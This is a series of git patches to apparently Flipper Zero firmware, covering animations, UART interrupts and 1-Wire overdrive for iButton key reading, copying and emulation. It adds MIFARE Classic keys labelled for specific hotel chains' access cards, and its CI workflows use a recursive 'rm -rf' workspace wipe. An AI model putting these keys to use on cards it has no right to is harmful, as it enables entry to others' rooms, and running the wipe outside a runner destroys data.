a/.github/workflows/unit_tests.yml b/.github/workflows/unit_tests.yml index 0ec531064..6a824fac3 100644 --- a/.github/workflows/unit_tests.yml +++ b/.github/workflows/unit_tests.yml @@ -12,16 +12,8 @@ jobs: run_units_on_bench: runs-on: [self-hosted, FlipperZeroUnitTest] steps: - - name: 'Decontaminate previous build leftovers' - run: | - if [ -d .git ]; then - git submodule status || ( - git ls-files --stage | egrep '^160000' | awk '{print $4}' | while read submodule - do - git rm -rf "$submodule" - done - ) - fi + - name: 'Wipe workspace' + run: find ./ -mount -maxdepth 1 -exec rm -rf {} \; - name: Checkout code uses: actions/checkout@v3 diff --git a/.github/workflows/updater_test.yml b/.github/workflows/updater_test.yml index e1e655b00..2861529d8 100644 --- a/.github/workflows/updater_test.yml +++ b/.github/workflows/updater_test.yml @@ -12,16 +12,8 @@ jobs: test_updater_on_bench: runs-on: [self-hosted, FlipperZeroUpdaterTest] steps: - - name: 'Decontaminate previous build leftovers' - run: | - if [ -d .git ]; then - git submodule status || ( - git ls-files --stage | egrep '^160000' | awk '{print $4}' | while read submodule - do - git rm -rf "$submodule" - done - ) - fi + - name: 'Wipe workspace' + run: find ./ -mount -maxdepth 1 -exec rm -rf {} \; - name: Checkout code uses: actions/checkout@v3 @@ -57,12 +49,8 @@ jobs: run: | echo "tag=$(git tag -l --sort=-version:refname | grep -v "rc\|RC" | head -1)" >> $GITHUB_OUTPUT - - name: 'Decontaminate previous build leftovers' - if: failure() - run: | - if [ -d .git ]; then - git submodule status || git checkout "$(git rev-list --max-parents=0 HEAD | tail -n 1)" - fi + - name: 'Wipe workspace' + run: find ./ -mount -maxdepth 1 -exec rm -rf {} \; - name: 'Checkout latest release' uses: actions/checkout@v3 From 775b36039162a904a41070c0022087b69e40a346 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 22 Mar 2023 11:55:50 +0000 Subject: [PATCH 230/329] Fix crashes on bad animation manifests --- applications/services/desktop/animations/animation_manager.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/applications/services/desktop/animations/animation_manager.c b/applications/services/desktop/animations/animation_manager.c index ade83a3d8..8e2094f8b 100644 --- a/applications/services/desktop/animations/animation_manager.c +++ b/applications/services/desktop/animations/animation_manager.c @@ -438,7 +438,10 @@ static StorageAnimation* StorageAnimationList_clear(animation_list); /* cache animation, if failed - choose reliable animation */ - if(!animation_storage_get_bubble_animation(selected)) { + if(selected == NULL) { + FURI_LOG_E(TAG, "Can't find valid animation in manifest"); + selected = animation_storage_find_animation(HARDCODED_ANIMATION_NAME); + } else if(!animation_storage_get_bubble_animation(selected)) { const char* name = animation_storage_get_meta(selected)->name; FURI_LOG_E(TAG, "Can't upload animation described in manifest: \'%s\'", name); animation_storage_free_storage_animation(&selected); From 84a51de03dc7dfb47bb98d0fa21b0c3a6b70e58d Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 22 Mar 2023 11:57:43 +0000 Subject: [PATCH 231/329] Dont repeat same animation twice (when possible) --- .../desktop/animations/animation_manager.c | 21 +++++++------------ 1 file changed, 8 insertions(+), 13 deletions(-) diff --git a/applications/services/desktop/animations/animation_manager.c b/applications/services/desktop/animations/animation_manager.c index 8e2094f8b..55fbbe8aa 100644 --- a/applications/services/desktop/animations/animation_manager.c +++ b/applications/services/desktop/animations/animation_manager.c @@ -372,10 +372,10 @@ static bool animation_manager_is_valid_idle_animation( static StorageAnimation* animation_manager_select_idle_animation(AnimationManager* animation_manager) { - // const char* avoid_animation = NULL; - // if(animation_manager->current_animation) { - // avoid_animation = animation_storage_get_meta(animation_manager->current_animation)->name; - // } + const char* avoid_animation = NULL; + if(animation_manager->current_animation) { + avoid_animation = animation_storage_get_meta(animation_manager->current_animation)->name; + } UNUSED(animation_manager); StorageAnimationList_t animation_list; @@ -385,7 +385,6 @@ static StorageAnimation* Dolphin* dolphin = furi_record_open(RECORD_DOLPHIN); DolphinStats stats = dolphin_stats(dolphin); furi_record_close(RECORD_DOLPHIN); - // avoid_animation = StorageAnimationList_size(animation_list) > 1 ? avoid_animation : NULL; uint32_t whole_weight = 0; StorageAnimationList_it_t it; @@ -396,14 +395,10 @@ static StorageAnimation* animation_storage_get_meta(storage_animation); bool valid = animation_manager_is_valid_idle_animation(manifest_info, &stats, unlock); - // Avoid repeating animation - // Bad / empty manifests can crash flipper and (very rarely) require DFU - // Need better solution, disabled for now - // if(avoid_animation != NULL) { - // if(strcmp(manifest_info->name, avoid_animation) == 0) { - // valid = false; - // } - // } + if(avoid_animation != NULL && strcmp(manifest_info->name, avoid_animation) == 0) { + // Avoid repeating same animation twice + valid = false; + } if(valid) { whole_weight += manifest_info->weight; From e3c6a634818555be6ced23ff82a9f3581a332175 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 22 Mar 2023 11:59:13 +0000 Subject: [PATCH 232/329] Add option to disable fallback animation --- .../xtreme_app_scene_interface_graphics.c | 17 +++++++++++++++++ .../desktop/animations/animation_manager.c | 11 +++++++++++ applications/services/xtreme/settings.c | 1 + applications/services/xtreme/settings.h | 3 ++- 4 files changed, 31 insertions(+), 1 deletion(-) diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_graphics.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_graphics.c index ffcd3cb83..2cfb1f7cc 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_graphics.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_interface_graphics.c @@ -70,6 +70,14 @@ static void xtreme_app_scene_interface_graphics_unlock_anims_changed(VariableIte app->save_settings = true; } +static void xtreme_app_scene_interface_graphics_fallback_anim_changed(VariableItem* item) { + XtremeApp* app = variable_item_get_context(item); + bool value = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, value ? "ON" : "OFF"); + XTREME_SETTINGS()->fallback_anim = value; + app->save_settings = true; +} + void xtreme_app_scene_interface_graphics_on_enter(void* context) { XtremeApp* app = context; XtremeSettings* xtreme_settings = XTREME_SETTINGS(); @@ -121,6 +129,15 @@ void xtreme_app_scene_interface_graphics_on_enter(void* context) { variable_item_set_current_value_index(item, xtreme_settings->unlock_anims); variable_item_set_current_value_text(item, xtreme_settings->unlock_anims ? "ON" : "OFF"); + item = variable_item_list_add( + var_item_list, + "Fallback Anim", + 2, + xtreme_app_scene_interface_graphics_fallback_anim_changed, + app); + variable_item_set_current_value_index(item, xtreme_settings->fallback_anim); + variable_item_set_current_value_text(item, xtreme_settings->fallback_anim ? "ON" : "OFF"); + variable_item_list_set_enter_callback( var_item_list, xtreme_app_scene_interface_graphics_var_item_list_callback, app); diff --git a/applications/services/desktop/animations/animation_manager.c b/applications/services/desktop/animations/animation_manager.c index 55fbbe8aa..38496d6bd 100644 --- a/applications/services/desktop/animations/animation_manager.c +++ b/applications/services/desktop/animations/animation_manager.c @@ -7,6 +7,7 @@ #include #include #include +#include #include "views/bubble_animation_view.h" #include "views/one_shot_animation_view.h" @@ -387,6 +388,12 @@ static StorageAnimation* furi_record_close(RECORD_DOLPHIN); uint32_t whole_weight = 0; + bool fallback = XTREME_SETTINGS()->fallback_anim; + if(StorageAnimationList_size(animation_list) == dolphin_internal_size + 1 && !fallback) { + // One ext anim and fallback disabled, dont skip current anim (current = only ext one) + avoid_animation = NULL; + } + StorageAnimationList_it_t it; bool unlock = XTREME_SETTINGS()->unlock_anims; for(StorageAnimationList_it(it, animation_list); !StorageAnimationList_end_p(it);) { @@ -399,6 +406,10 @@ static StorageAnimation* // Avoid repeating same animation twice valid = false; } + if(strcmp(manifest_info->name, HARDCODED_ANIMATION_NAME) == 0 && !fallback) { + // Skip fallback animation + valid = false; + } if(valid) { whole_weight += manifest_info->weight; diff --git a/applications/services/xtreme/settings.c b/applications/services/xtreme/settings.c index f4ee34156..44ad2a1d5 100644 --- a/applications/services/xtreme/settings.c +++ b/applications/services/xtreme/settings.c @@ -39,6 +39,7 @@ void XTREME_SETTINGS_LOAD() { xtreme_settings->anim_speed = 100; // 100% xtreme_settings->cycle_anims = 0; // Meta.txt xtreme_settings->unlock_anims = false; // OFF + xtreme_settings->fallback_anim = true; // ON xtreme_settings->wii_menu = true; // ON xtreme_settings->lockscreen_time = true; // ON xtreme_settings->lockscreen_date = true; // ON diff --git a/applications/services/xtreme/settings.h b/applications/services/xtreme/settings.h index 90b9b05c0..6bbff1a40 100644 --- a/applications/services/xtreme/settings.h +++ b/applications/services/xtreme/settings.h @@ -15,7 +15,7 @@ extern "C" { #define MAX_PACK_NAME_LEN 32 -#define XTREME_SETTINGS_VERSION (9) +#define XTREME_SETTINGS_VERSION (10) #define XTREME_SETTINGS_PATH_OLD INT_PATH(XTREME_SETTINGS_FILE_NAME) #define XTREME_SETTINGS_PATH EXT_PATH(XTREME_SETTINGS_FILE_NAME) #define XTREME_SETTINGS_MAGIC (0x69) @@ -27,6 +27,7 @@ typedef struct { uint16_t anim_speed; int32_t cycle_anims; bool unlock_anims; + bool fallback_anim; bool wii_menu; bool lockscreen_time; bool lockscreen_date; From 3248482aef1c72f10c325a4b317673799a346ec0 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 22 Mar 2023 12:02:01 +0000 Subject: [PATCH 233/329] Add missing mfc dict keys --- assets/resources/nfc/assets/mf_classic_dict.nfc | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/assets/resources/nfc/assets/mf_classic_dict.nfc b/assets/resources/nfc/assets/mf_classic_dict.nfc index b6dbcc06c..a6f1ea9d3 100644 --- a/assets/resources/nfc/assets/mf_classic_dict.nfc +++ b/assets/resources/nfc/assets/mf_classic_dict.nfc @@ -3782,9 +3782,14 @@ FE98F38F3EE2 # 20230125-06, Elite Member Marriott Rewards 30AAD6A711EF # 20230125-07, Fairfield Inn & Suites Marriott +7AEB989A5525 7B3B589A5525 +215E9DED9DDF +334E91BE3377 +310308EC52EF # 20230125-08, Moxy Hotels 20C166C00ADB +9EE3896C4530 # 20230125-09, Westin Hotels & Resorts 7D0A1C277C05 2058580A941F @@ -3833,4 +3838,8 @@ C49DAE1C6049 # 20230129-53, Marriott Bonvoy 6E029927600D 3E173F64C01C -C670A9AD6066 \ No newline at end of file +C670A9AD6066 +# 1k UNKNOWN +722538817225 +# 1k millenium hotels +132F641C948B From 1f236ede0e4d13f2ca0c031bd7c0e2017540d68c Mon Sep 17 00:00:00 2001 From: Nikolay Minaylov Date: Wed, 22 Mar 2023 17:41:14 +0300 Subject: [PATCH 234/329] [#2501] Disable UART IRQs by default (#2523) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: あく --- firmware/targets/f7/furi_hal/furi_hal_uart.c | 19 +++++++++++++------ 1 file changed, 13 insertions(+), 6 deletions(-) diff --git a/firmware/targets/f7/furi_hal/furi_hal_uart.c b/firmware/targets/f7/furi_hal/furi_hal_uart.c index 54232e67f..71b5c7ba0 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_uart.c +++ b/firmware/targets/f7/furi_hal/furi_hal_uart.c @@ -44,7 +44,8 @@ static void furi_hal_usart_init(uint32_t baud) { while(!LL_USART_IsActiveFlag_TEACK(USART1) || !LL_USART_IsActiveFlag_REACK(USART1)) ; - LL_USART_EnableIT_RXNE_RXFNE(USART1); + LL_USART_DisableIT_ERROR(USART1); + NVIC_SetPriority(USART1_IRQn, NVIC_EncodePriority(NVIC_GetPriorityGrouping(), 5, 0)); } @@ -79,8 +80,8 @@ static void furi_hal_lpuart_init(uint32_t baud) { ; furi_hal_uart_set_br(FuriHalUartIdLPUART1, baud); + LL_LPUART_DisableIT_ERROR(LPUART1); - LL_LPUART_EnableIT_RXNE_RXFNE(LPUART1); NVIC_SetPriority(LPUART1_IRQn, NVIC_EncodePriority(NVIC_GetPriorityGrouping(), 5, 0)); } @@ -190,19 +191,25 @@ void furi_hal_uart_set_irq_cb( void (*cb)(UartIrqEvent ev, uint8_t data, void* ctx), void* ctx) { if(cb == NULL) { - if(ch == FuriHalUartIdUSART1) + if(ch == FuriHalUartIdUSART1) { NVIC_DisableIRQ(USART1_IRQn); - else if(ch == FuriHalUartIdLPUART1) + LL_USART_DisableIT_RXNE_RXFNE(USART1); + } else if(ch == FuriHalUartIdLPUART1) { NVIC_DisableIRQ(LPUART1_IRQn); + LL_LPUART_DisableIT_RXNE_RXFNE(LPUART1); + } irq_cb[ch] = cb; irq_ctx[ch] = ctx; } else { irq_ctx[ch] = ctx; irq_cb[ch] = cb; - if(ch == FuriHalUartIdUSART1) + if(ch == FuriHalUartIdUSART1) { NVIC_EnableIRQ(USART1_IRQn); - else if(ch == FuriHalUartIdLPUART1) + LL_USART_EnableIT_RXNE_RXFNE(USART1); + } else if(ch == FuriHalUartIdLPUART1) { NVIC_EnableIRQ(LPUART1_IRQn); + LL_LPUART_EnableIT_RXNE_RXFNE(LPUART1); + } } } From 8b224ecb15d0899c3e67edd693a18f58d9029b57 Mon Sep 17 00:00:00 2001 From: Georgii Surkov <37121527+gsurkov@users.noreply.github.com> Date: Wed, 22 Mar 2023 17:54:06 +0300 Subject: [PATCH 235/329] [FL-3179] 1-Wire Overdrive Mode (#2522) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Separate ibutton to its own module, add one_wire to f18 * Move onewire cli to a separate app * Add definitions for normal and overdrive timings * Update api definitions * Add rough overdrive timings definition for onewire emulation * Remove one_wire_host_timing.h * Add rough overdrive timings for onewire host * Improve overdrive mode * Working overdrive mode from flipper to flipper * Update thermometer example app * Turn on otg power when running thermometer example app * Implement reset overdrive switching * Always exit out of overdrive mode * Improve overdrive timings * Fix typos * Fix reset behaviour * Use overdrive mode everywhere in DS1996 * Improve comments * Bump API version Co-authored-by: あく --- .../examples/example_thermo/example_thermo.c | 13 +- firmware/targets/f18/api_symbols.csv | 8 +- firmware/targets/f7/api_symbols.csv | 8 +- lib/ibutton/protocols/dallas/dallas_common.h | 4 +- .../protocols/dallas/protocol_dallas_base.h | 4 +- .../protocols/dallas/protocol_ds1971.c | 18 +- .../protocols/dallas/protocol_ds1990.c | 10 +- .../protocols/dallas/protocol_ds1992.c | 10 +- .../protocols/dallas/protocol_ds1996.c | 62 ++++-- .../protocols/dallas/protocol_ds_generic.c | 10 +- lib/one_wire/SConscript | 1 - lib/one_wire/one_wire_host.c | 85 ++++++-- lib/one_wire/one_wire_host.h | 89 +++++---- lib/one_wire/one_wire_host_timing.h | 30 --- lib/one_wire/one_wire_slave.c | 188 +++++++++++------- lib/one_wire/one_wire_slave.h | 84 +++++--- 16 files changed, 397 insertions(+), 227 deletions(-) delete mode 100644 lib/one_wire/one_wire_host_timing.h diff --git a/applications/examples/example_thermo/example_thermo.c b/applications/examples/example_thermo/example_thermo.c index b3bc7cd99..4241cb59d 100644 --- a/applications/examples/example_thermo/example_thermo.c +++ b/applications/examples/example_thermo/example_thermo.c @@ -19,9 +19,12 @@ #include #include +#include + #define UPDATE_PERIOD_MS 1000UL #define TEXT_STORE_SIZE 64U +#define DS18B20_CMD_SKIP_ROM 0xccU #define DS18B20_CMD_CONVERT 0x44U #define DS18B20_CMD_READ_SCRATCHPAD 0xbeU @@ -92,7 +95,7 @@ static void example_thermo_request_temperature(ExampleThermoContext* context) { /* After the reset, a ROM operation must follow. If there is only one device connected, the "Skip ROM" command is most appropriate (it can also be used to address all of the connected devices in some cases).*/ - onewire_host_skip(onewire); + onewire_host_write(onewire, DS18B20_CMD_SKIP_ROM); /* After the ROM operation, a device-specific command is issued. In this case, it's a request to start measuring the temperature. */ onewire_host_write(onewire, DS18B20_CMD_CONVERT); @@ -133,7 +136,7 @@ static void example_thermo_read_temperature(ExampleThermoContext* context) { /* After the reset, a ROM operation must follow. If there is only one device connected, the "Skip ROM" command is most appropriate (it can also be used to address all of the connected devices in some cases).*/ - onewire_host_skip(onewire); + onewire_host_write(onewire, DS18B20_CMD_SKIP_ROM); /* After the ROM operation, a device-specific command is issued. This time, it will be the "Read Scratchpad" command which will @@ -267,6 +270,9 @@ static void example_thermo_input_callback(InputEvent* event, void* ctx) { /* Starts the reader thread and handles the input */ static void example_thermo_run(ExampleThermoContext* context) { + /* Enable power on external pins */ + furi_hal_power_enable_otg(); + /* Configure the hardware in host mode */ onewire_host_start(context->onewire); @@ -299,6 +305,9 @@ static void example_thermo_run(ExampleThermoContext* context) { /* Reset the hardware */ onewire_host_stop(context->onewire); + + /* Disable power on external pins */ + furi_hal_power_disable_otg(); } /******************** Initialisation & startup *****************************/ diff --git a/firmware/targets/f18/api_symbols.csv b/firmware/targets/f18/api_symbols.csv index b6be56f60..e6fae33ee 100644 --- a/firmware/targets/f18/api_symbols.csv +++ b/firmware/targets/f18/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,19.0,, +Version,+,20.0,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -153,7 +153,6 @@ Header,+,lib/mlib/m-tuple.h,, Header,+,lib/mlib/m-variant.h,, Header,+,lib/one_wire/maxim_crc.h,, Header,+,lib/one_wire/one_wire_host.h,, -Header,+,lib/one_wire/one_wire_host_timing.h,, Header,+,lib/one_wire/one_wire_slave.h,, Header,+,lib/print/wrappers.h,, Header,+,lib/toolbox/args.h,, @@ -1481,8 +1480,8 @@ Function,+,onewire_host_read_bit,_Bool,OneWireHost* Function,+,onewire_host_read_bytes,void,"OneWireHost*, uint8_t*, uint16_t" Function,+,onewire_host_reset,_Bool,OneWireHost* Function,+,onewire_host_reset_search,void,OneWireHost* -Function,+,onewire_host_search,uint8_t,"OneWireHost*, uint8_t*, OneWireHostSearchMode" -Function,+,onewire_host_skip,void,OneWireHost* +Function,+,onewire_host_search,_Bool,"OneWireHost*, uint8_t*, OneWireHostSearchMode" +Function,+,onewire_host_set_overdrive,void,"OneWireHost*, _Bool" Function,+,onewire_host_start,void,OneWireHost* Function,+,onewire_host_stop,void,OneWireHost* Function,+,onewire_host_target_search,void,"OneWireHost*, uint8_t" @@ -1496,6 +1495,7 @@ Function,+,onewire_slave_receive_bit,_Bool,OneWireSlave* Function,+,onewire_slave_send,_Bool,"OneWireSlave*, const uint8_t*, size_t" Function,+,onewire_slave_send_bit,_Bool,"OneWireSlave*, _Bool" Function,+,onewire_slave_set_command_callback,void,"OneWireSlave*, OneWireSlaveCommandCallback, void*" +Function,+,onewire_slave_set_overdrive,void,"OneWireSlave*, _Bool" Function,+,onewire_slave_set_reset_callback,void,"OneWireSlave*, OneWireSlaveResetCallback, void*" Function,+,onewire_slave_set_result_callback,void,"OneWireSlave*, OneWireSlaveResultCallback, void*" Function,+,onewire_slave_start,void,OneWireSlave* diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index e6de39b1d..7ac9a2459 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,19.0,, +Version,+,20.0,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -172,7 +172,6 @@ Header,+,lib/mlib/m-variant.h,, Header,+,lib/nfc/nfc_device.h,, Header,+,lib/one_wire/maxim_crc.h,, Header,+,lib/one_wire/one_wire_host.h,, -Header,+,lib/one_wire/one_wire_host_timing.h,, Header,+,lib/one_wire/one_wire_slave.h,, Header,+,lib/print/wrappers.h,, Header,+,lib/subghz/blocks/const.h,, @@ -2062,8 +2061,8 @@ Function,+,onewire_host_read_bit,_Bool,OneWireHost* Function,+,onewire_host_read_bytes,void,"OneWireHost*, uint8_t*, uint16_t" Function,+,onewire_host_reset,_Bool,OneWireHost* Function,+,onewire_host_reset_search,void,OneWireHost* -Function,+,onewire_host_search,uint8_t,"OneWireHost*, uint8_t*, OneWireHostSearchMode" -Function,+,onewire_host_skip,void,OneWireHost* +Function,+,onewire_host_search,_Bool,"OneWireHost*, uint8_t*, OneWireHostSearchMode" +Function,+,onewire_host_set_overdrive,void,"OneWireHost*, _Bool" Function,+,onewire_host_start,void,OneWireHost* Function,+,onewire_host_stop,void,OneWireHost* Function,+,onewire_host_target_search,void,"OneWireHost*, uint8_t" @@ -2077,6 +2076,7 @@ Function,+,onewire_slave_receive_bit,_Bool,OneWireSlave* Function,+,onewire_slave_send,_Bool,"OneWireSlave*, const uint8_t*, size_t" Function,+,onewire_slave_send_bit,_Bool,"OneWireSlave*, _Bool" Function,+,onewire_slave_set_command_callback,void,"OneWireSlave*, OneWireSlaveCommandCallback, void*" +Function,+,onewire_slave_set_overdrive,void,"OneWireSlave*, _Bool" Function,+,onewire_slave_set_reset_callback,void,"OneWireSlave*, OneWireSlaveResetCallback, void*" Function,+,onewire_slave_set_result_callback,void,"OneWireSlave*, OneWireSlaveResultCallback, void*" Function,+,onewire_slave_start,void,OneWireSlave* diff --git a/lib/ibutton/protocols/dallas/dallas_common.h b/lib/ibutton/protocols/dallas/dallas_common.h index 7991a1f8b..6f5ff7cc0 100644 --- a/lib/ibutton/protocols/dallas/dallas_common.h +++ b/lib/ibutton/protocols/dallas/dallas_common.h @@ -1,10 +1,10 @@ #pragma once -#include - #include #include +#include + #define DALLAS_COMMON_MANUFACTURER_NAME "Dallas" #define DALLAS_COMMON_CMD_READ_ROM 0x33U diff --git a/lib/ibutton/protocols/dallas/protocol_dallas_base.h b/lib/ibutton/protocols/dallas/protocol_dallas_base.h index b4edb2b20..55e109936 100644 --- a/lib/ibutton/protocols/dallas/protocol_dallas_base.h +++ b/lib/ibutton/protocols/dallas/protocol_dallas_base.h @@ -2,11 +2,11 @@ #include "../protocol_common_i.h" -#include - #include #include +#include + typedef bool (*iButtonProtocolDallasReadWriteFunc)(OneWireHost*, iButtonProtocolData*); typedef void (*iButtonProtocolDallasEmulateFunc)(OneWireSlave*, iButtonProtocolData*); typedef bool (*iButtonProtocolDallasSaveFunc)(FlipperFormat*, const iButtonProtocolData*); diff --git a/lib/ibutton/protocols/dallas/protocol_ds1971.c b/lib/ibutton/protocols/dallas/protocol_ds1971.c index eb5b330b7..a806acb22 100644 --- a/lib/ibutton/protocols/dallas/protocol_ds1971.c +++ b/lib/ibutton/protocols/dallas/protocol_ds1971.c @@ -53,7 +53,7 @@ const iButtonProtocolDallasBase ibutton_protocol_ds1971 = { .name = DS1971_FAMILY_NAME, .read = dallas_ds1971_read, - .write_blank = NULL, /* No data to write a blank */ + .write_blank = NULL, // TODO: Implement writing to blank .write_copy = dallas_ds1971_write_copy, .emulate = dallas_ds1971_emulate, .save = dallas_ds1971_save, @@ -76,7 +76,7 @@ bool dallas_ds1971_write_copy(OneWireHost* host, iButtonProtocolData* protocol_d DS1971ProtocolData* data = protocol_data; onewire_host_reset(host); - onewire_host_skip(host); + onewire_host_write(host, DALLAS_COMMON_CMD_SKIP_ROM); // Starting writing from address 0x0000 onewire_host_write(host, DALLAS_COMMON_CMD_WRITE_SCRATCH); onewire_host_write(host, 0x00); @@ -87,7 +87,7 @@ bool dallas_ds1971_write_copy(OneWireHost* host, iButtonProtocolData* protocol_d bool pad_valid = false; if(onewire_host_reset(host)) { pad_valid = true; - onewire_host_skip(host); + onewire_host_write(host, DALLAS_COMMON_CMD_SKIP_ROM); onewire_host_write(host, DALLAS_COMMON_CMD_READ_SCRATCH); onewire_host_write(host, 0x00); @@ -103,7 +103,7 @@ bool dallas_ds1971_write_copy(OneWireHost* host, iButtonProtocolData* protocol_d // Copy scratchpad to memory and confirm if(pad_valid) { if(onewire_host_reset(host)) { - onewire_host_skip(host); + onewire_host_write(host, DALLAS_COMMON_CMD_SKIP_ROM); onewire_host_write(host, DALLAS_COMMON_CMD_COPY_SCRATCH); onewire_host_write(host, DS1971_CMD_FINALIZATION); @@ -114,10 +114,16 @@ bool dallas_ds1971_write_copy(OneWireHost* host, iButtonProtocolData* protocol_d return pad_valid; } -static void dallas_ds1971_reset_callback(void* context) { +static bool dallas_ds1971_reset_callback(bool is_short, void* context) { furi_assert(context); DS1971ProtocolData* data = context; - data->state.command_state = DallasCommonCommandStateIdle; + + if(!is_short) { + data->state.command_state = DallasCommonCommandStateIdle; + onewire_slave_set_overdrive(data->state.bus, is_short); + } + + return !is_short; } static bool dallas_ds1971_command_callback(uint8_t command, void* context) { diff --git a/lib/ibutton/protocols/dallas/protocol_ds1990.c b/lib/ibutton/protocols/dallas/protocol_ds1990.c index 0d9c937ee..86d39f1bd 100644 --- a/lib/ibutton/protocols/dallas/protocol_ds1990.c +++ b/lib/ibutton/protocols/dallas/protocol_ds1990.c @@ -67,6 +67,14 @@ bool dallas_ds1990_write_blank(OneWireHost* host, iButtonProtocolData* protocol_ tm2004_write(host, data->rom_data.bytes, sizeof(DallasCommonRomData)); } +static bool dallas_ds1990_reset_callback(bool is_short, void* context) { + DS1990ProtocolData* data = context; + if(!is_short) { + onewire_slave_set_overdrive(data->state.bus, is_short); + } + return !is_short; +} + static bool dallas_ds1990_command_callback(uint8_t command, void* context) { furi_assert(context); DS1990ProtocolData* data = context; @@ -92,7 +100,7 @@ void dallas_ds1990_emulate(OneWireSlave* bus, iButtonProtocolData* protocol_data DS1990ProtocolData* data = protocol_data; data->state.bus = bus; - onewire_slave_set_reset_callback(bus, NULL, NULL); + onewire_slave_set_reset_callback(bus, dallas_ds1990_reset_callback, protocol_data); onewire_slave_set_command_callback(bus, dallas_ds1990_command_callback, protocol_data); } diff --git a/lib/ibutton/protocols/dallas/protocol_ds1992.c b/lib/ibutton/protocols/dallas/protocol_ds1992.c index 17d631259..0b4d4b34f 100644 --- a/lib/ibutton/protocols/dallas/protocol_ds1992.c +++ b/lib/ibutton/protocols/dallas/protocol_ds1992.c @@ -87,10 +87,16 @@ bool dallas_ds1992_write_copy(OneWireHost* host, iButtonProtocolData* protocol_d DS1992_SRAM_DATA_SIZE); } -static void dallas_ds1992_reset_callback(void* context) { +static bool dallas_ds1992_reset_callback(bool is_short, void* context) { furi_assert(context); DS1992ProtocolData* data = context; - data->state.command_state = DallasCommonCommandStateIdle; + + if(!is_short) { + data->state.command_state = DallasCommonCommandStateIdle; + onewire_slave_set_overdrive(data->state.bus, is_short); + } + + return !is_short; } static bool dallas_ds1992_command_callback(uint8_t command, void* context) { diff --git a/lib/ibutton/protocols/dallas/protocol_ds1996.c b/lib/ibutton/protocols/dallas/protocol_ds1996.c index 74a5792c6..5358b63e2 100644 --- a/lib/ibutton/protocols/dallas/protocol_ds1996.c +++ b/lib/ibutton/protocols/dallas/protocol_ds1996.c @@ -63,24 +63,54 @@ const iButtonProtocolDallasBase ibutton_protocol_ds1996 = { bool dallas_ds1996_read(OneWireHost* host, iButtonProtocolData* protocol_data) { DS1996ProtocolData* data = protocol_data; - return onewire_host_reset(host) && dallas_common_read_rom(host, &data->rom_data) && - dallas_common_read_mem(host, 0, data->sram_data, DS1996_SRAM_DATA_SIZE); + bool success = false; + + do { + if(!onewire_host_reset(host)) break; + if(!dallas_common_read_rom(host, &data->rom_data)) break; + if(!onewire_host_reset(host)) break; + + onewire_host_write(host, DALLAS_COMMON_CMD_OVERDRIVE_SKIP_ROM); + onewire_host_set_overdrive(host, true); + + if(!dallas_common_read_mem(host, 0, data->sram_data, DS1996_SRAM_DATA_SIZE)) break; + success = true; + } while(false); + + onewire_host_set_overdrive(host, false); + return success; } bool dallas_ds1996_write_copy(OneWireHost* host, iButtonProtocolData* protocol_data) { DS1996ProtocolData* data = protocol_data; - return dallas_common_write_mem( - host, - DS1996_COPY_SCRATCH_TIMEOUT_US, - DS1996_SRAM_PAGE_SIZE, - data->sram_data, - DS1996_SRAM_DATA_SIZE); + bool success = false; + + do { + if(!onewire_host_reset(host)) break; + + onewire_host_write(host, DALLAS_COMMON_CMD_OVERDRIVE_SKIP_ROM); + onewire_host_set_overdrive(host, true); + + if(!dallas_common_write_mem( + host, + DS1996_COPY_SCRATCH_TIMEOUT_US, + DS1996_SRAM_PAGE_SIZE, + data->sram_data, + DS1996_SRAM_DATA_SIZE)) + break; + success = true; + } while(false); + + onewire_host_set_overdrive(host, false); + return success; } -static void dallas_ds1996_reset_callback(void* context) { +static bool dallas_ds1996_reset_callback(bool is_short, void* context) { furi_assert(context); DS1996ProtocolData* data = context; data->state.command_state = DallasCommonCommandStateIdle; + onewire_slave_set_overdrive(data->state.bus, is_short); + return true; } static bool dallas_ds1996_command_callback(uint8_t command, void* context) { @@ -96,8 +126,7 @@ static bool dallas_ds1996_command_callback(uint8_t command, void* context) { } else if(data->state.command_state == DallasCommonCommandStateRomCmd) { data->state.command_state = DallasCommonCommandStateMemCmd; - dallas_common_emulate_read_mem(bus, data->sram_data, DS1996_SRAM_DATA_SIZE); - return false; + return dallas_common_emulate_read_mem(bus, data->sram_data, DS1996_SRAM_DATA_SIZE); } else { return false; @@ -120,8 +149,17 @@ static bool dallas_ds1996_command_callback(uint8_t command, void* context) { } case DALLAS_COMMON_CMD_OVERDRIVE_SKIP_ROM: + if(data->state.command_state == DallasCommonCommandStateIdle) { + data->state.command_state = DallasCommonCommandStateRomCmd; + onewire_slave_set_overdrive(bus, true); + return true; + } else { + return false; + } + + case DALLAS_COMMON_CMD_MATCH_ROM: case DALLAS_COMMON_CMD_OVERDRIVE_MATCH_ROM: - /* TODO: Overdrive mode support */ + /* TODO: Match ROM command support */ default: return false; } diff --git a/lib/ibutton/protocols/dallas/protocol_ds_generic.c b/lib/ibutton/protocols/dallas/protocol_ds_generic.c index 50fd04511..af355f461 